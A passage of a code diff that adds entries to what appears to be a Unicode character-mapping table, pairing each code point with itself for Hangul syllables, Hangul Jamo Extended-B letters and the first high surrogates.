+ ["\uD642", "\uD642"], /* Hangul Syllable */
+ ["\uD643", "\uD643"], /* Hangul Syllable */
+ ["\uD644", "\uD644"], /* Hangul Syllable */
+ ["\uD645", "\uD645"], /* Hangul Syllable */
+ ["\uD646", "\uD646"], /* Hangul Syllable */
+ ["\uD647", "\uD647"], /* Hangul Syllable */
+ ["\uD648", "\uD648"], /* Hangul Syllable */
+ ["\uD649", "\uD649"], /* Hangul Syllable */
+ ["\uD64A", "\uD64A"], /* Hangul Syllable */
+ ["\uD64B", "\uD64B"], /* Hangul Syllable */
+ ["\uD64C", "\uD64C"], /* Hangul Syllable */
+ ["\uD64D", "\uD64D"], /* Hangul Syllable */
+ ["\uD64E", "\uD64E"], /* Hangul Syllable */
+ ["\uD64F", "\uD64F"], /* Hangul Syllable */
+ ["\uD650", "\uD650"], /* Hangul Syllable */
+ ["\uD651", "\uD651"], /* Hangul Syllable */
+ ["\uD652", "\uD652"], /* Hangul Syllable */
+ ["\uD653", "\uD653"], /* Hangul Syllable */
+ ["\uD654", "\uD654"], /* Hangul Syllable */
+ ["\uD655", "\uD655"], /* Hangul Syllable */
+ ["\uD656", "\uD656"], /* Hangul Syllable */
+ ["\uD657", "\uD657"], /* Hangul Syllable */
+ ["\uD658", "\uD658"], /* Hangul Syllable */
+ ["\uD659", "\uD659"], /* Hangul Syllable */
+ ["\uD65A", "\uD65A"], /* Hangul Syllable */
+ ["\uD65B", "\uD65B"], /* Hangul Syllable */
+ ["\uD65C", "\uD65C"], /* Hangul Syllable */
+ ["\uD65D", "\uD65D"], /* Hangul Syllable */
+ ["\uD65E", "\uD65E"], /* Hangul Syllable */
+ ["\uD65F", "\uD65F"], /* Hangul Syllable */
+ ["\uD660", "\uD660"], /* Hangul Syllable */
+ ["\uD661", "\uD661"], /* Hangul Syllable */
+ ["\uD662", "\uD662"], /* Hangul Syllable */
+ ["\uD663", "\uD663"], /* Hangul Syllable */
+ ["\uD664", "\uD664"], /* Hangul Syllable */
+ ["\uD665", "\uD665"], /* Hangul Syllable */
+ ["\uD666", "\uD666"], /* Hangul Syllable */
+ ["\uD667", "\uD667"], /* Hangul Syllable */
+ ["\uD668", "\uD668"], /* Hangul Syllable */
+ ["\uD669", "\uD669"], /* Hangul Syllable */
+ ["\uD66A", "\uD66A"], /* Hangul Syllable */
+ ["\uD66B", "\uD66B"], /* Hangul Syllable */
+ ["\uD66C", "\uD66C"], /* Hangul Syllable */
+ ["\uD66D", "\uD66D"], /* Hangul Syllable */
+ ["\uD66E", "\uD66E"], /* Hangul Syllable */
+ ["\uD66F", "\uD66F"], /* Hangul Syllable */
+ ["\uD670", "\uD670"], /* Hangul Syllable */
+ ["\uD671", "\uD671"], /* Hangul Syllable */
+ ["\uD672", "\uD672"], /* Hangul Syllable */
+ ["\uD673", "\uD673"], /* Hangul Syllable */
+ ["\uD674", "\uD674"], /* Hangul Syllable */
+ ["\uD675", "\uD675"], /* Hangul Syllable */
+ ["\uD676", "\uD676"], /* Hangul Syllable */
+ ["\uD677", "\uD677"], /* Hangul Syllable */
+ ["\uD678", "\uD678"], /* Hangul Syllable */
+ ["\uD679", "\uD679"], /* Hangul Syllable */
+ ["\uD67A", "\uD67A"], /* Hangul Syllable */
+ ["\uD67B", "\uD67B"], /* Hangul Syllable */
+ ["\uD67C", "\uD67C"], /* Hangul Syllable */
+ ["\uD67D", "\uD67D"], /* Hangul Syllable */
+ ["\uD67E", "\uD67E"], /* Hangul Syllable */
+ ["\uD67F", "\uD67F"], /* Hangul Syllable */
+ ["\uD680", "\uD680"], /* Hangul Syllable */
+ ["\uD681", "\uD681"], /* Hangul Syllable */
+ ["\uD682", "\uD682"], /* Hangul Syllable */
+ ["\uD683", "\uD683"], /* Hangul Syllable */
+ ["\uD684", "\uD684"], /* Hangul Syllable */
+ ["\uD685", "\uD685"], /* Hangul Syllable */
+ ["\uD686", "\uD686"], /* Hangul Syllable */
+ ["\uD687", "\uD687"], /* Hangul Syllable */
+ ["\uD688", "\uD688"], /* Hangul Syllable */
+ ["\uD689", "\uD689"], /* Hangul Syllable */
+ ["\uD68A", "\uD68A"], /* Hangul Syllable */
+ ["\uD68B", "\uD68B"], /* Hangul Syllable */
+ ["\uD68C", "\uD68C"], /* Hangul Syllable */
+ ["\uD68D", "\uD68D"], /* Hangul Syllable */
+ ["\uD68E", "\uD68E"], /* Hangul Syllable */
+ ["\uD68F", "\uD68F"], /* Hangul Syllable */
+ ["\uD690", "\uD690"], /* Hangul Syllable */
+ ["\uD691", "\uD691"], /* Hangul Syllable */
+ ["\uD692", "\uD692"], /* Hangul Syllable */
+ ["\uD693", "\uD693"], /* Hangul Syllable */
+ ["\uD694", "\uD694"], /* Hangul Syllable */
+ ["\uD695", "\uD695"], /* Hangul Syllable */
+ ["\uD696", "\uD696"], /* Hangul Syllable */
+ ["\uD697", "\uD697"], /* Hangul Syllable */
+ ["\uD698", "\uD698"], /* Hangul Syllable */
+ ["\uD699", "\uD699"], /* Hangul Syllable */
+ ["\uD69A", "\uD69A"], /* Hangul Syllable */
+ ["\uD69B", "\uD69B"], /* Hangul Syllable */
+ ["\uD69C", "\uD69C"], /* Hangul Syllable */
+ ["\uD69D", "\uD69D"], /* Hangul Syllable */
+ ["\uD69E", "\uD69E"], /* Hangul Syllable */
+ ["\uD69F", "\uD69F"], /* Hangul Syllable */
+ ["\uD6A0", "\uD6A0"], /* Hangul Syllable */
+ ["\uD6A1", "\uD6A1"], /* Hangul Syllable */
+ ["\uD6A2", "\uD6A2"], /* Hangul Syllable */
+ ["\uD6A3", "\uD6A3"], /* Hangul Syllable */
+ ["\uD6A4", "\uD6A4"], /* Hangul Syllable */
+ ["\uD6A5", "\uD6A5"], /* Hangul Syllable */
+ ["\uD6A6", "\uD6A6"], /* Hangul Syllable */
+ ["\uD6A7", "\uD6A7"], /* Hangul Syllable */
+ ["\uD6A8", "\uD6A8"], /* Hangul Syllable */
+ ["\uD6A9", "\uD6A9"], /* Hangul Syllable */
+ ["\uD6AA", "\uD6AA"], /* Hangul Syllable */
+ ["\uD6AB", "\uD6AB"], /* Hangul Syllable */
+ ["\uD6AC", "\uD6AC"], /* Hangul Syllable */
+ ["\uD6AD", "\uD6AD"], /* Hangul Syllable */
+ ["\uD6AE", "\uD6AE"], /* Hangul Syllable */
+ ["\uD6AF", "\uD6AF"], /* Hangul Syllable */
+ ["\uD6B0", "\uD6B0"], /* Hangul Syllable */
+ ["\uD6B1", "\uD6B1"], /* Hangul Syllable */
+ ["\uD6B2", "\uD6B2"], /* Hangul Syllable */
+ ["\uD6B3", "\uD6B3"], /* Hangul Syllable */
+ ["\uD6B4", "\uD6B4"], /* Hangul Syllable */
+ ["\uD6B5", "\uD6B5"], /* Hangul Syllable */
+ ["\uD6B6", "\uD6B6"], /* Hangul Syllable */
+ ["\uD6B7", "\uD6B7"], /* Hangul Syllable */
+ ["\uD6B8", "\uD6B8"], /* Hangul Syllable */
+ ["\uD6B9", "\uD6B9"], /* Hangul Syllable */
+ ["\uD6BA", "\uD6BA"], /* Hangul Syllable */
+ ["\uD6BB", "\uD6BB"], /* Hangul Syllable */
+ ["\uD6BC", "\uD6BC"], /* Hangul Syllable */
+ ["\uD6BD", "\uD6BD"], /* Hangul Syllable */
+ ["\uD6BE", "\uD6BE"], /* Hangul Syllable */
+ ["\uD6BF", "\uD6BF"], /* Hangul Syllable */
+ ["\uD6C0", "\uD6C0"], /* Hangul Syllable */
+ ["\uD6C1", "\uD6C1"], /* Hangul Syllable */
+ ["\uD6C2", "\uD6C2"], /* Hangul Syllable */
+ ["\uD6C3", "\uD6C3"], /* Hangul Syllable */
+ ["\uD6C4", "\uD6C4"], /* Hangul Syllable */
+ ["\uD6C5", "\uD6C5"], /* Hangul Syllable */
+ ["\uD6C6", "\uD6C6"], /* Hangul Syllable */
+ ["\uD6C7", "\uD6C7"], /* Hangul Syllable */
+ ["\uD6C8", "\uD6C8"], /* Hangul Syllable */
+ ["\uD6C9", "\uD6C9"], /* Hangul Syllable */
+ ["\uD6CA", "\uD6CA"], /* Hangul Syllable */
+ ["\uD6CB", "\uD6CB"], /* Hangul Syllable */
+ ["\uD6CC", "\uD6CC"], /* Hangul Syllable */
+ ["\uD6CD", "\uD6CD"], /* Hangul Syllable */
+ ["\uD6CE", "\uD6CE"], /* Hangul Syllable */
+ ["\uD6CF", "\uD6CF"], /* Hangul Syllable */
+ ["\uD6D0", "\uD6D0"], /* Hangul Syllable */
+ ["\uD6D1", "\uD6D1"], /* Hangul Syllable */
+ ["\uD6D2", "\uD6D2"], /* Hangul Syllable */
+ ["\uD6D3", "\uD6D3"], /* Hangul Syllable */
+ ["\uD6D4", "\uD6D4"], /* Hangul Syllable */
+ ["\uD6D5", "\uD6D5"], /* Hangul Syllable */
+ ["\uD6D6", "\uD6D6"], /* Hangul Syllable */
+ ["\uD6D7", "\uD6D7"], /* Hangul Syllable */
+ ["\uD6D8", "\uD6D8"], /* Hangul Syllable */
+ ["\uD6D9", "\uD6D9"], /* Hangul Syllable */
+ ["\uD6DA", "\uD6DA"], /* Hangul Syllable */
+ ["\uD6DB", "\uD6DB"], /* Hangul Syllable */
+ ["\uD6DC", "\uD6DC"], /* Hangul Syllable */
+ ["\uD6DD", "\uD6DD"], /* Hangul Syllable */
+ ["\uD6DE", "\uD6DE"], /* Hangul Syllable */
+ ["\uD6DF", "\uD6DF"], /* Hangul Syllable */
+ ["\uD6E0", "\uD6E0"], /* Hangul Syllable */
+ ["\uD6E1", "\uD6E1"], /* Hangul Syllable */
+ ["\uD6E2", "\uD6E2"], /* Hangul Syllable */
+ ["\uD6E3", "\uD6E3"], /* Hangul Syllable */
+ ["\uD6E4", "\uD6E4"], /* Hangul Syllable */
+ ["\uD6E5", "\uD6E5"], /* Hangul Syllable */
+ ["\uD6E6", "\uD6E6"], /* Hangul Syllable */
+ ["\uD6E7", "\uD6E7"], /* Hangul Syllable */
+ ["\uD6E8", "\uD6E8"], /* Hangul Syllable */
+ ["\uD6E9", "\uD6E9"], /* Hangul Syllable */
+ ["\uD6EA", "\uD6EA"], /* Hangul Syllable */
+ ["\uD6EB", "\uD6EB"], /* Hangul Syllable */
+ ["\uD6EC", "\uD6EC"], /* Hangul Syllable */
+ ["\uD6ED", "\uD6ED"], /* Hangul Syllable */
+ ["\uD6EE", "\uD6EE"], /* Hangul Syllable */
+ ["\uD6EF", "\uD6EF"], /* Hangul Syllable */
+ ["\uD6F0", "\uD6F0"], /* Hangul Syllable */
+ ["\uD6F1", "\uD6F1"], /* Hangul Syllable */
+ ["\uD6F2", "\uD6F2"], /* Hangul Syllable */
+ ["\uD6F3", "\uD6F3"], /* Hangul Syllable */
+ ["\uD6F4", "\uD6F4"], /* Hangul Syllable */
+ ["\uD6F5", "\uD6F5"], /* Hangul Syllable */
+ ["\uD6F6", "\uD6F6"], /* Hangul Syllable */
+ ["\uD6F7", "\uD6F7"], /* Hangul Syllable */
+ ["\uD6F8", "\uD6F8"], /* Hangul Syllable */
+ ["\uD6F9", "\uD6F9"], /* Hangul Syllable */
+ ["\uD6FA", "\uD6FA"], /* Hangul Syllable */
+ ["\uD6FB", "\uD6FB"], /* Hangul Syllable */
+ ["\uD6FC", "\uD6FC"], /* Hangul Syllable */
+ ["\uD6FD", "\uD6FD"], /* Hangul Syllable */
+ ["\uD6FE", "\uD6FE"], /* Hangul Syllable */
+ ["\uD6FF", "\uD6FF"], /* Hangul Syllable */
+ ["\uD700", "\uD700"], /* Hangul Syllable */
+ ["\uD701", "\uD701"], /* Hangul Syllable */
+ ["\uD702", "\uD702"], /* Hangul Syllable */
+ ["\uD703", "\uD703"], /* Hangul Syllable */
+ ["\uD704", "\uD704"], /* Hangul Syllable */
+ ["\uD705", "\uD705"], /* Hangul Syllable */
+ ["\uD706", "\uD706"], /* Hangul Syllable */
+ ["\uD707", "\uD707"], /* Hangul Syllable */
+ ["\uD708", "\uD708"], /* Hangul Syllable */
+ ["\uD709", "\uD709"], /* Hangul Syllable */
+ ["\uD70A", "\uD70A"], /* Hangul Syllable */
+ ["\uD70B", "\uD70B"], /* Hangul Syllable */
+ ["\uD70C", "\uD70C"], /* Hangul Syllable */
+ ["\uD70D", "\uD70D"], /* Hangul Syllable */
+ ["\uD70E", "\uD70E"], /* Hangul Syllable */
+ ["\uD70F", "\uD70F"], /* Hangul Syllable */
+ ["\uD710", "\uD710"], /* Hangul Syllable */
+ ["\uD711", "\uD711"], /* Hangul Syllable */
+ ["\uD712", "\uD712"], /* Hangul Syllable */
+ ["\uD713", "\uD713"], /* Hangul Syllable */
+ ["\uD714", "\uD714"], /* Hangul Syllable */
+ ["\uD715", "\uD715"], /* Hangul Syllable */
+ ["\uD716", "\uD716"], /* Hangul Syllable */
+ ["\uD717", "\uD717"], /* Hangul Syllable */
+ ["\uD718", "\uD718"], /* Hangul Syllable */
+ ["\uD719", "\uD719"], /* Hangul Syllable */
+ ["\uD71A", "\uD71A"], /* Hangul Syllable */
+ ["\uD71B", "\uD71B"], /* Hangul Syllable */
+ ["\uD71C", "\uD71C"], /* Hangul Syllable */
+ ["\uD71D", "\uD71D"], /* Hangul Syllable */
+ ["\uD71E", "\uD71E"], /* Hangul Syllable */
+ ["\uD71F", "\uD71F"], /* Hangul Syllable */
+ ["\uD720", "\uD720"], /* Hangul Syllable */
+ ["\uD721", "\uD721"], /* Hangul Syllable */
+ ["\uD722", "\uD722"], /* Hangul Syllable */
+ ["\uD723", "\uD723"], /* Hangul Syllable */
+ ["\uD724", "\uD724"], /* Hangul Syllable */
+ ["\uD725", "\uD725"], /* Hangul Syllable */
+ ["\uD726", "\uD726"], /* Hangul Syllable */
+ ["\uD727", "\uD727"], /* Hangul Syllable */
+ ["\uD728", "\uD728"], /* Hangul Syllable */
+ ["\uD729", "\uD729"], /* Hangul Syllable */
+ ["\uD72A", "\uD72A"], /* Hangul Syllable */
+ ["\uD72B", "\uD72B"], /* Hangul Syllable */
+ ["\uD72C", "\uD72C"], /* Hangul Syllable */
+ ["\uD72D", "\uD72D"], /* Hangul Syllable */
+ ["\uD72E", "\uD72E"], /* Hangul Syllable */
+ ["\uD72F", "\uD72F"], /* Hangul Syllable */
+ ["\uD730", "\uD730"], /* Hangul Syllable */
+ ["\uD731", "\uD731"], /* Hangul Syllable */
+ ["\uD732", "\uD732"], /* Hangul Syllable */
+ ["\uD733", "\uD733"], /* Hangul Syllable */
+ ["\uD734", "\uD734"], /* Hangul Syllable */
+ ["\uD735", "\uD735"], /* Hangul Syllable */
+ ["\uD736", "\uD736"], /* Hangul Syllable */
+ ["\uD737", "\uD737"], /* Hangul Syllable */
+ ["\uD738", "\uD738"], /* Hangul Syllable */
+ ["\uD739", "\uD739"], /* Hangul Syllable */
+ ["\uD73A", "\uD73A"], /* Hangul Syllable */
+ ["\uD73B", "\uD73B"], /* Hangul Syllable */
+ ["\uD73C", "\uD73C"], /* Hangul Syllable */
+ ["\uD73D", "\uD73D"], /* Hangul Syllable */
+ ["\uD73E", "\uD73E"], /* Hangul Syllable */
+ ["\uD73F", "\uD73F"], /* Hangul Syllable */
+ ["\uD740", "\uD740"], /* Hangul Syllable */
+ ["\uD741", "\uD741"], /* Hangul Syllable */
+ ["\uD742", "\uD742"], /* Hangul Syllable */
+ ["\uD743", "\uD743"], /* Hangul Syllable */
+ ["\uD744", "\uD744"], /* Hangul Syllable */
+ ["\uD745", "\uD745"], /* Hangul Syllable */
+ ["\uD746", "\uD746"], /* Hangul Syllable */
+ ["\uD747", "\uD747"], /* Hangul Syllable */
+ ["\uD748", "\uD748"], /* Hangul Syllable */
+ ["\uD749", "\uD749"], /* Hangul Syllable */
+ ["\uD74A", "\uD74A"], /* Hangul Syllable */
+ ["\uD74B", "\uD74B"], /* Hangul Syllable */
+ ["\uD74C", "\uD74C"], /* Hangul Syllable */
+ ["\uD74D", "\uD74D"], /* Hangul Syllable */
+ ["\uD74E", "\uD74E"], /* Hangul Syllable */
+ ["\uD74F", "\uD74F"], /* Hangul Syllable */
+ ["\uD750", "\uD750"], /* Hangul Syllable */
+ ["\uD751", "\uD751"], /* Hangul Syllable */
+ ["\uD752", "\uD752"], /* Hangul Syllable */
+ ["\uD753", "\uD753"], /* Hangul Syllable */
+ ["\uD754", "\uD754"], /* Hangul Syllable */
+ ["\uD755", "\uD755"], /* Hangul Syllable */
+ ["\uD756", "\uD756"], /* Hangul Syllable */
+ ["\uD757", "\uD757"], /* Hangul Syllable */
+ ["\uD758", "\uD758"], /* Hangul Syllable */
+ ["\uD759", "\uD759"], /* Hangul Syllable */
+ ["\uD75A", "\uD75A"], /* Hangul Syllable */
+ ["\uD75B", "\uD75B"], /* Hangul Syllable */
+ ["\uD75C", "\uD75C"], /* Hangul Syllable */
+ ["\uD75D", "\uD75D"], /* Hangul Syllable */
+ ["\uD75E", "\uD75E"], /* Hangul Syllable */
+ ["\uD75F", "\uD75F"], /* Hangul Syllable */
+ ["\uD760", "\uD760"], /* Hangul Syllable */
+ ["\uD761", "\uD761"], /* Hangul Syllable */
+ ["\uD762", "\uD762"], /* Hangul Syllable */
+ ["\uD763", "\uD763"], /* Hangul Syllable */
+ ["\uD764", "\uD764"], /* Hangul Syllable */
+ ["\uD765", "\uD765"], /* Hangul Syllable */
+ ["\uD766", "\uD766"], /* Hangul Syllable */
+ ["\uD767", "\uD767"], /* Hangul Syllable */
+ ["\uD768", "\uD768"], /* Hangul Syllable */
+ ["\uD769", "\uD769"], /* Hangul Syllable */
+ ["\uD76A", "\uD76A"], /* Hangul Syllable */
+ ["\uD76B", "\uD76B"], /* Hangul Syllable */
+ ["\uD76C", "\uD76C"], /* Hangul Syllable */
+ ["\uD76D", "\uD76D"], /* Hangul Syllable */
+ ["\uD76E", "\uD76E"], /* Hangul Syllable */
+ ["\uD76F", "\uD76F"], /* Hangul Syllable */
+ ["\uD770", "\uD770"], /* Hangul Syllable */
+ ["\uD771", "\uD771"], /* Hangul Syllable */
+ ["\uD772", "\uD772"], /* Hangul Syllable */
+ ["\uD773", "\uD773"], /* Hangul Syllable */
+ ["\uD774", "\uD774"], /* Hangul Syllable */
+ ["\uD775", "\uD775"], /* Hangul Syllable */
+ ["\uD776", "\uD776"], /* Hangul Syllable */
+ ["\uD777", "\uD777"], /* Hangul Syllable */
+ ["\uD778", "\uD778"], /* Hangul Syllable */
+ ["\uD779", "\uD779"], /* Hangul Syllable */
+ ["\uD77A", "\uD77A"], /* Hangul Syllable */
+ ["\uD77B", "\uD77B"], /* Hangul Syllable */
+ ["\uD77C", "\uD77C"], /* Hangul Syllable */
+ ["\uD77D", "\uD77D"], /* Hangul Syllable */
+ ["\uD77E", "\uD77E"], /* Hangul Syllable */
+ ["\uD77F", "\uD77F"], /* Hangul Syllable */
+ ["\uD780", "\uD780"], /* Hangul Syllable */
+ ["\uD781", "\uD781"], /* Hangul Syllable */
+ ["\uD782", "\uD782"], /* Hangul Syllable */
+ ["\uD783", "\uD783"], /* Hangul Syllable */
+ ["\uD784", "\uD784"], /* Hangul Syllable */
+ ["\uD785", "\uD785"], /* Hangul Syllable */
+ ["\uD786", "\uD786"], /* Hangul Syllable */
+ ["\uD787", "\uD787"], /* Hangul Syllable */
+ ["\uD788", "\uD788"], /* Hangul Syllable */
+ ["\uD789", "\uD789"], /* Hangul Syllable */
+ ["\uD78A", "\uD78A"], /* Hangul Syllable */
+ ["\uD78B", "\uD78B"], /* Hangul Syllable */
+ ["\uD78C", "\uD78C"], /* Hangul Syllable */
+ ["\uD78D", "\uD78D"], /* Hangul Syllable */
+ ["\uD78E", "\uD78E"], /* Hangul Syllable */
+ ["\uD78F", "\uD78F"], /* Hangul Syllable */
+ ["\uD790", "\uD790"], /* Hangul Syllable */
+ ["\uD791", "\uD791"], /* Hangul Syllable */
+ ["\uD792", "\uD792"], /* Hangul Syllable */
+ ["\uD793", "\uD793"], /* Hangul Syllable */
+ ["\uD794", "\uD794"], /* Hangul Syllable */
+ ["\uD795", "\uD795"], /* Hangul Syllable */
+ ["\uD796", "\uD796"], /* Hangul Syllable */
+ ["\uD797", "\uD797"], /* Hangul Syllable */
+ ["\uD798", "\uD798"], /* Hangul Syllable */
+ ["\uD799", "\uD799"], /* Hangul Syllable */
+ ["\uD79A", "\uD79A"], /* Hangul Syllable */
+ ["\uD79B", "\uD79B"], /* Hangul Syllable */
+ ["\uD79C", "\uD79C"], /* Hangul Syllable */
+ ["\uD79D", "\uD79D"], /* Hangul Syllable */
+ ["\uD79E", "\uD79E"], /* Hangul Syllable */
+ ["\uD79F", "\uD79F"], /* Hangul Syllable */
+ ["\uD7A0", "\uD7A0"], /* Hangul Syllable */
+ ["\uD7A1", "\uD7A1"], /* Hangul Syllable */
+ ["\uD7A2", "\uD7A2"], /* Hangul Syllable */
+ ["\uD7A3", "\uD7A3"], /* Hangul Syllable */
+ ["\uD7A4", "\uD7A4"],
+ ["\uD7A5", "\uD7A5"],
+ ["\uD7A6", "\uD7A6"],
+ ["\uD7A7", "\uD7A7"],
+ ["\uD7A8", "\uD7A8"],
+ ["\uD7A9", "\uD7A9"],
+ ["\uD7AA", "\uD7AA"],
+ ["\uD7AB", "\uD7AB"],
+ ["\uD7AC", "\uD7AC"],
+ ["\uD7AD", "\uD7AD"],
+ ["\uD7AE", "\uD7AE"],
+ ["\uD7AF", "\uD7AF"],
+ ["\uD7B0", "\uD7B0"], /* HANGUL JUNGSEONG O-YEO */
+ ["\uD7B1", "\uD7B1"], /* HANGUL JUNGSEONG O-O-I */
+ ["\uD7B2", "\uD7B2"], /* HANGUL JUNGSEONG YO-A */
+ ["\uD7B3", "\uD7B3"], /* HANGUL JUNGSEONG YO-AE */
+ ["\uD7B4", "\uD7B4"], /* HANGUL JUNGSEONG YO-EO */
+ ["\uD7B5", "\uD7B5"], /* HANGUL JUNGSEONG U-YEO */
+ ["\uD7B6", "\uD7B6"], /* HANGUL JUNGSEONG U-I-I */
+ ["\uD7B7", "\uD7B7"], /* HANGUL JUNGSEONG YU-AE */
+ ["\uD7B8", "\uD7B8"], /* HANGUL JUNGSEONG YU-O */
+ ["\uD7B9", "\uD7B9"], /* HANGUL JUNGSEONG EU-A */
+ ["\uD7BA", "\uD7BA"], /* HANGUL JUNGSEONG EU-EO */
+ ["\uD7BB", "\uD7BB"], /* HANGUL JUNGSEONG EU-E */
+ ["\uD7BC", "\uD7BC"], /* HANGUL JUNGSEONG EU-O */
+ ["\uD7BD", "\uD7BD"], /* HANGUL JUNGSEONG I-YA-O */
+ ["\uD7BE", "\uD7BE"], /* HANGUL JUNGSEONG I-YAE */
+ ["\uD7BF", "\uD7BF"], /* HANGUL JUNGSEONG I-YEO */
+ ["\uD7C0", "\uD7C0"], /* HANGUL JUNGSEONG I-YE */
+ ["\uD7C1", "\uD7C1"], /* HANGUL JUNGSEONG I-O-I */
+ ["\uD7C2", "\uD7C2"], /* HANGUL JUNGSEONG I-YO */
+ ["\uD7C3", "\uD7C3"], /* HANGUL JUNGSEONG I-YU */
+ ["\uD7C4", "\uD7C4"], /* HANGUL JUNGSEONG I-I */
+ ["\uD7C5", "\uD7C5"], /* HANGUL JUNGSEONG ARAEA-A */
+ ["\uD7C6", "\uD7C6"], /* HANGUL JUNGSEONG ARAEA-E */
+ ["\uD7C7", "\uD7C7"],
+ ["\uD7C8", "\uD7C8"],
+ ["\uD7C9", "\uD7C9"],
+ ["\uD7CA", "\uD7CA"],
+ ["\uD7CB", "\uD7CB"], /* HANGUL JONGSEONG NIEUN-RIEUL */
+ ["\uD7CC", "\uD7CC"], /* HANGUL JONGSEONG NIEUN-CHIEUCH */
+ ["\uD7CD", "\uD7CD"], /* HANGUL JONGSEONG SSANGTIKEUT */
+ ["\uD7CE", "\uD7CE"], /* HANGUL JONGSEONG SSANGTIKEUT-PIEUP */
+ ["\uD7CF", "\uD7CF"], /* HANGUL JONGSEONG TIKEUT-PIEUP */
+ ["\uD7D0", "\uD7D0"], /* HANGUL JONGSEONG TIKEUT-SIOS */
+ ["\uD7D1", "\uD7D1"], /* HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK */
+ ["\uD7D2", "\uD7D2"], /* HANGUL JONGSEONG TIKEUT-CIEUC */
+ ["\uD7D3", "\uD7D3"], /* HANGUL JONGSEONG TIKEUT-CHIEUCH */
+ ["\uD7D4", "\uD7D4"], /* HANGUL JONGSEONG TIKEUT-THIEUTH */
+ ["\uD7D5", "\uD7D5"], /* HANGUL JONGSEONG RIEUL-SSANGKIYEOK */
+ ["\uD7D6", "\uD7D6"], /* HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH */
+ ["\uD7D7", "\uD7D7"], /* HANGUL JONGSEONG SSANGRIEUL-KHIEUKH */
+ ["\uD7D8", "\uD7D8"], /* HANGUL JONGSEONG RIEUL-MIEUM-HIEUH */
+ ["\uD7D9", "\uD7D9"], /* HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT */
+ ["\uD7DA", "\uD7DA"], /* HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH */
+ ["\uD7DB", "\uD7DB"], /* HANGUL JONGSEONG RIEUL-YESIEUNG */
+ ["\uD7DC", "\uD7DC"], /* HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH */
+ ["\uD7DD", "\uD7DD"], /* HANGUL JONGSEONG KAPYEOUNRIEUL */
+ ["\uD7DE", "\uD7DE"], /* HANGUL JONGSEONG MIEUM-NIEUN */
+ ["\uD7DF", "\uD7DF"], /* HANGUL JONGSEONG MIEUM-SSANGNIEUN */
+ ["\uD7E0", "\uD7E0"], /* HANGUL JONGSEONG SSANGMIEUM */
+ ["\uD7E1", "\uD7E1"], /* HANGUL JONGSEONG MIEUM-PIEUP-SIOS */
+ ["\uD7E2", "\uD7E2"], /* HANGUL JONGSEONG MIEUM-CIEUC */
+ ["\uD7E3", "\uD7E3"], /* HANGUL JONGSEONG PIEUP-TIKEUT */
+ ["\uD7E4", "\uD7E4"], /* HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH */
+ ["\uD7E5", "\uD7E5"], /* HANGUL JONGSEONG PIEUP-MIEUM */
+ ["\uD7E6", "\uD7E6"], /* HANGUL JONGSEONG SSANGPIEUP */
+ ["\uD7E7", "\uD7E7"], /* HANGUL JONGSEONG PIEUP-SIOS-TIKEUT */
+ ["\uD7E8", "\uD7E8"], /* HANGUL JONGSEONG PIEUP-CIEUC */
+ ["\uD7E9", "\uD7E9"], /* HANGUL JONGSEONG PIEUP-CHIEUCH */
+ ["\uD7EA", "\uD7EA"], /* HANGUL JONGSEONG SIOS-MIEUM */
+ ["\uD7EB", "\uD7EB"], /* HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP */
+ ["\uD7EC", "\uD7EC"], /* HANGUL JONGSEONG SSANGSIOS-KIYEOK */
+ ["\uD7ED", "\uD7ED"], /* HANGUL JONGSEONG SSANGSIOS-TIKEUT */
+ ["\uD7EE", "\uD7EE"], /* HANGUL JONGSEONG SIOS-PANSIOS */
+ ["\uD7EF", "\uD7EF"], /* HANGUL JONGSEONG SIOS-CIEUC */
+ ["\uD7F0", "\uD7F0"], /* HANGUL JONGSEONG SIOS-CHIEUCH */
+ ["\uD7F1", "\uD7F1"], /* HANGUL JONGSEONG SIOS-THIEUTH */
+ ["\uD7F2", "\uD7F2"], /* HANGUL JONGSEONG SIOS-HIEUH */
+ ["\uD7F3", "\uD7F3"], /* HANGUL JONGSEONG PANSIOS-PIEUP */
+ ["\uD7F4", "\uD7F4"], /* HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP */
+ ["\uD7F5", "\uD7F5"], /* HANGUL JONGSEONG YESIEUNG-MIEUM */
+ ["\uD7F6", "\uD7F6"], /* HANGUL JONGSEONG YESIEUNG-HIEUH */
+ ["\uD7F7", "\uD7F7"], /* HANGUL JONGSEONG CIEUC-PIEUP */
+ ["\uD7F8", "\uD7F8"], /* HANGUL JONGSEONG CIEUC-SSANGPIEUP */
+ ["\uD7F9", "\uD7F9"], /* HANGUL JONGSEONG SSANGCIEUC */
+ ["\uD7FA", "\uD7FA"], /* HANGUL JONGSEONG PHIEUPH-SIOS */
+ ["\uD7FB", "\uD7FB"], /* HANGUL JONGSEONG PHIEUPH-THIEUTH */
+ ["\uD7FC", "\uD7FC"],
+ ["\uD7FD", "\uD7FD"],
+ ["\uD7FE", "\uD7FE"],
+ ["\uD7FF", "\uD7FF"],
+ ["\uD800", "\uD800"], /* Non Private Use High Surrogate */
+ ["\uD801", "\uD801"], /* Non Private Use High Surrogate */
+ ["\uD802", "\uD802"], /* Non Private Use High Surrogate */
+ ["\uD803", "\uD803"], /* Non Private Use High Surrogate */
+ ["\uD804", "\uD804"], /* Non Private Use High Surrogate */
+ ["\uD805", "\uD805"], /* Non Private Use High Surrogate */
+ ["\uD806", "\uD806"], /* Non Private Use High Surrogate */
+ ["\uD807", "\uD807"], /* Non Private Use High Surrogate */
+ ["\uD808", "\uD808"], /* Non Private Use High Surrogate */
+ ["\uD809", "\uD809"], /* Non Private Use High Surrogate */
+ ["\uD80A", "\uD80A"], /* Non Private Use High Surrogate */
+ ["\uD80B", "\uD80B"], /* Non Private Use High Surrogate */
+ ["\uD80C", "\uD80C"], /* Non Private Use High Surrogate */
+ ["\uD80D", "\uD80D"], /* Non Private Use High Surrogate */
+ ["\uD80E", "\uD80E"], /* Non Private Use High Surrogate */
+ ["\uD80F", "\uD80F"], /* Non Private Use High Surrogate */
+ ["\uD810", "\uD810"], /* Non Private Use High Surrogate */
+ ["\uD811", "\uD811"], /* Non Private Use High Surrogate */
+ ["\uD812", "\uD812"], /* Non Private Use High Surrogate */
+ ["\uD813", "\uD813"], /* Non Private Use High Surrogate */
+ ["\uD814", "\uD814"], /* Non Private Use High Surrogate */
